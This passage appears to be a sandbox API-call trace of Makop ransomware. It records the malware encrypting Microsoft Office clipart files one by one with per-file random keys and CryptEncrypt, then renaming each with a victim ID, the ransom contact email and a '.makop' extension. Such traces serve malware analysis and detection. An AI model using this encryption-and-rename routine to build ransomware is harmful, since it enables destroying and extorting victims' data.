[0113.192] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.192] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4720, lpOverlapped=0x0) returned 1 [0113.192] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.192] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x47f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.192] SetEndOfFile (hFile=0xf0) returned 1 [0113.198] GetProcessHeap () returned 0x48a0000 [0113.198] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.198] GetProcessHeap () returned 0x48a0000 [0113.199] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.199] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.200] CloseHandle (hObject=0xf0) returned 1 [0113.200] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0113.200] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0113.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.201] GetProcessHeap () returned 0x48a0000 [0113.201] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.201] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.201] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0113.205] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.205] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.205] GetProcessHeap () returned 0x48a0000 [0113.205] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.205] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.205] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.205] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.206] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.206] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.206] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.207] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.207] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.207] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.207] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.207] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.207] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb6de, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb6de, lpOverlapped=0x0) returned 1 [0113.209] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb6e0, dwBufLen=0xb6e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb6e0) returned 1 [0113.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb6e0, lpOverlapped=0x0) returned 1 [0113.210] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb7b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.210] SetEndOfFile (hFile=0xf0) returned 1 [0113.216] GetProcessHeap () returned 0x48a0000 [0113.216] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.216] GetProcessHeap () returned 0x48a0000 [0113.216] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.216] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.218] CloseHandle (hObject=0xf0) returned 1 [0113.218] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0113.218] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0113.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.218] GetProcessHeap () returned 0x48a0000 [0113.218] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.218] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.218] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.219] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0113.223] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.223] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.223] GetProcessHeap () returned 0x48a0000 [0113.223] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.223] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.223] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.223] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.224] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.224] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.224] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.224] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.224] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.224] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.225] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.225] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17b4, lpOverlapped=0x0) returned 1 [0113.226] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17c0) returned 1 [0113.227] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.227] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x17c0, lpOverlapped=0x0) returned 1 [0113.227] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.227] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.227] SetEndOfFile (hFile=0xf0) returned 1 [0113.233] GetProcessHeap () returned 0x48a0000 [0113.233] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.233] GetProcessHeap () returned 0x48a0000 [0113.234] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.234] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.235] CloseHandle (hObject=0xf0) returned 1 [0113.236] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0113.236] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0113.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.236] GetProcessHeap () returned 0x48a0000 [0113.236] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.237] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.237] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.237] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0113.244] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.244] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.244] GetProcessHeap () returned 0x48a0000 [0113.244] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.244] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.244] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.244] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.245] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.245] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.245] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.245] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.246] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.246] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.246] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.246] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfea, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xfea, lpOverlapped=0x0) returned 1 [0113.246] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xff0, dwBufLen=0xff0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xff0) returned 1 [0113.246] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.246] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xff0, lpOverlapped=0x0) returned 1 [0113.246] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.246] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.246] SetEndOfFile (hFile=0xf0) returned 1 [0113.253] GetProcessHeap () returned 0x48a0000 [0113.254] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.254] GetProcessHeap () returned 0x48a0000 [0113.254] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.254] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.255] CloseHandle (hObject=0xf0) returned 1 [0113.255] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0113.255] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0113.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.256] GetProcessHeap () returned 0x48a0000 [0113.256] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.256] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.256] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.256] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.261] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.261] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.261] GetProcessHeap () returned 0x48a0000 [0113.261] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.261] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.261] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.261] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.261] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.261] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.262] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.262] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.262] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.262] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 